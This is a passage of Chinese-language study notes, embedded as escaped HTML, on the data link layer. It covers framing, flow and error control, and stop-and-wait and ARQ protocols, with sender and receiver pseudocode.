title=\"成帧\"\u003e\u003c/a\u003e成帧\u003c/h3\u003e\u003cp\u003e将位组合成帧,并添加首尾使其和其他帧区分开。成帧有两种协议:面向字符协议和面向位协议。它们的区别主要是转义符添加的方案。前者添加一个\u003cstrong\u003eESC字节\u003c/strong\u003e,后者遇到\u003ccode\u003e011111\u003c/code\u003e就添加一个0来转义。\u003c/p\u003e\u003cp\u003e帧结构是:\u003cstrong\u003e标记+头部+转义后数据+尾部+标记\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003eFixed-Size Framing   固定长度成帧 例如第18章的\u003cstrong\u003eATM信元\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eVariable-Size Framing  可变长度成帧 面向字符和面向比特位\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"流量控制和差错控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6%E5%92%8C%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"流量控制和差错控制\"\u003e\u003c/a\u003e流量控制和差错控制\u003c/h3\u003e\u003cp\u003e也叫数据链路控制功能。\u003c/p\u003e\u003ch4 id=\"流量控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"流量控制\"\u003e\u003c/a\u003e流量控制\u003c/h4\u003e\u003cp\u003e接收确认前协调发送的数据数量。它高速发送方受到接收确认信息前能传输多少数据。任何设备都有处理进入数据的速度、容量等限制。在达到限制之前,必须提示发送设备,减少发送量/暂停发送。进入的数据\u003cstrong\u003e必须经过经验和处理才能使用\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"差错控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"差错控制\"\u003e\u003c/a\u003e差错控制\u003c/h4\u003e\u003cp\u003e差错检测和纠正。任何时刻,检测到帧缺失/帧破坏,协调发送方重新发送帧。这称为\u003cstrong\u003e自动重发请求(ARQ, automatic repeat request)\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"协议\"\u003e\u003c/a\u003e协议\u003c/h3\u003e\u003cp\u003e分为两类:\u003c/p\u003e\u003cul\u003e\u003cli\u003e无噪声通道的协议\u003cul\u003e\u003cli\u003e最简单协议\u003c/li\u003e\u003cli\u003e停止-等待协议\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e有噪声通道的协议\u003cul\u003e\u003cli\u003e停止等待ARQ协议\u003c/li\u003e\u003cli\u003e返回到N的ARQ协议\u003c/li\u003e\u003cli\u003e选择性重复ARQ协议\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"无噪声通道\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%97%A0%E5%99%AA%E5%A3%B0%E9%80%9A%E9%81%93\" class=\"headerlink\" title=\"无噪声通道\"\u003e\u003c/a\u003e无噪声通道\u003c/h3\u003e\u003cp\u003e是一种假想的不会丢失帧、复制帧、损坏帧的理想通道。\u003c/p\u003e\u003ch4 id=\"最简单的协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"最简单的协议\"\u003e\u003c/a\u003e最简单的协议\u003c/h4\u003e\u003cp\u003e它没有流量控制、差错控制,且和其他协议一样是单向的:帧从发送方到接收方单向传输。\u003c/p\u003e\u003cp\u003e它是事件驱动型程序,发送方伪代码如下:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(RequestToSend)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e GetData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MakeFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SendFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接收方伪代码:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ReceiveData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ExtractData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e DeliverData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"停止等待协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%81%9C%E6%AD%A2%E7%AD%89%E5%BE%85%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"停止等待协议\"\u003e\u003c/a\u003e停止等待协议\u003c/h4\u003e\u003cp\u003e发送方发送一个帧后,必须得到ACK后才能继续发送下一个帧。此处数据帧还是单向的,除了ACK能反向通过。发送方算法如下(很简单,不用多说):\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e canSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(RequesToSend) AND canSend){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e GetData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MakeFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SendFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e canSend=\u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ReceiveFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e canSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接收方:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ReveiceFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ExtractData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e DeliverData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SendACKFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"有噪声通道\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%9C%89%E5%99%AA%E5%A3%B0%E9%80%9A%E9%81%93\" class=\"headerlink\" title=\"有噪声通道\"\u003e\u003c/a\u003e有噪声通道\u003c/h3\u003e\u003ch4 id=\"停止等待自动重复请求(Stop-and-Wait-ARQ)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%81%9C%E6%AD%A2%E7%AD%89%E5%BE%85%E8%87%AA%E5%8A%A8%E9%87%8D%E5%A4%8D%E8%AF%B7%E6%B1%82%EF%BC%88Stop-and-Wait-ARQ%EF%BC%89\" class=\"headerlink\" title=\"停止等待自动重复请求(Stop-and-Wait ARQ)\"\u003e\u003c/a\u003e停止等待自动重复请求(Stop-and-Wait ARQ)\u003c/h4\u003e\u003cp\u003e是在上面的停止等得协议加入了简单的差错控制。首先这个协议一次发送一个帧,所以相对简单。发送方发送一个帧后启动定时器,若没有收到ACK,则重发此帧。因此,帧需要编号来让双方知道应该重发哪个帧。另外,ACK帧也是帧,也会丢失。所以ACK帧也需要编号。\u003c/p\u003e\u003cp\u003e由于只有两个帧,所以序号使用0和1即可。接收方收到序列号后,返回当前数据序列号的取反。意思是可以接收下一个帧了。\u003c/p\u003e\u003cp\u003e数据发送失败,超时,发送方重发。\u003c/p\u003e\u003cp\u003eACK发送失败,超时,发送方重发,接收方检测到重复数据,抛弃,回复ACK。\u003c/p\u003e\u003cp\u003e发送方算法:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eSn=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecanSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(RequestToSend) AND canSend){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eGetData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eMakeFrame(Sn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStoreFrame(Sn)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStartTimer();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSn=Sn + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecanSend=\u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eReceiveFrame(ackNo);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(not corrputed AND ackNo == Sn){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStopTimer();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePurgeFrame(Sn\u003cspan class=\"number\"\u003e-1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecanSend=\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(TimeOut)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eStartTimer();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eResendFrame(Sn\u003cspan class=\"number\"\u003e-1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接收方算法:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eRn=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eReceiveFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(corrupted(frame)) sleep();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(seqNo == Rn){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eExtractData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDeliverData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eRn = Rn + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSendFrame(Rn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230524212730.png\"/\u003e\u003c/p\u003e\u003cp\u003e由上图可以看出,停止等待ARQ大量浪费了带宽;如果上面的协议中,我们能在发送了15帧后再停止等待,则利用率可以上升到$15000/20000$,即$75%$。同时,在停止等待ARQ中不存在流水线操作,因为单帧发送后存在阻塞操作。\u003c/p\u003e\u003ch4 id=\"回退N帧自动重发请求(Go-Back-N-ARQ)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%9B%9E%E9%80%80N%E5%B8%A7%E8%87%AA%E5%8A%A8%E9%87%8D%E5%8F%91%E8%AF%B7%E6%B1%82%EF%BC%88Go-Back-N-ARQ%EF%BC%89\" class=\"headerlink\" title=\"回退N帧自动重发请求(Go-Back-N ARQ)\"\u003e\u003c/a\u003e回退N帧自动重发请求(Go-Back-N ARQ)\u003c/h4\u003e\u003cp\u003e它是上面的协议应用了流水线原理的版本。最主要的改动就是序列号设计,以及滑动窗口。\u003c/p\u003e\u003cp\u003e假设帧头部允许序列号有$m$位,序列号范围就是0到$2^m-1$。\u003c/p\u003e\u003cp\u003e然后发送方开始发送数据,先发第一帧, 接收方收到,回传ACK1 ,这时有了一个叫做发送方窗口的东西:\u003c/p\u003e\u003cp\u003e\u003cimg 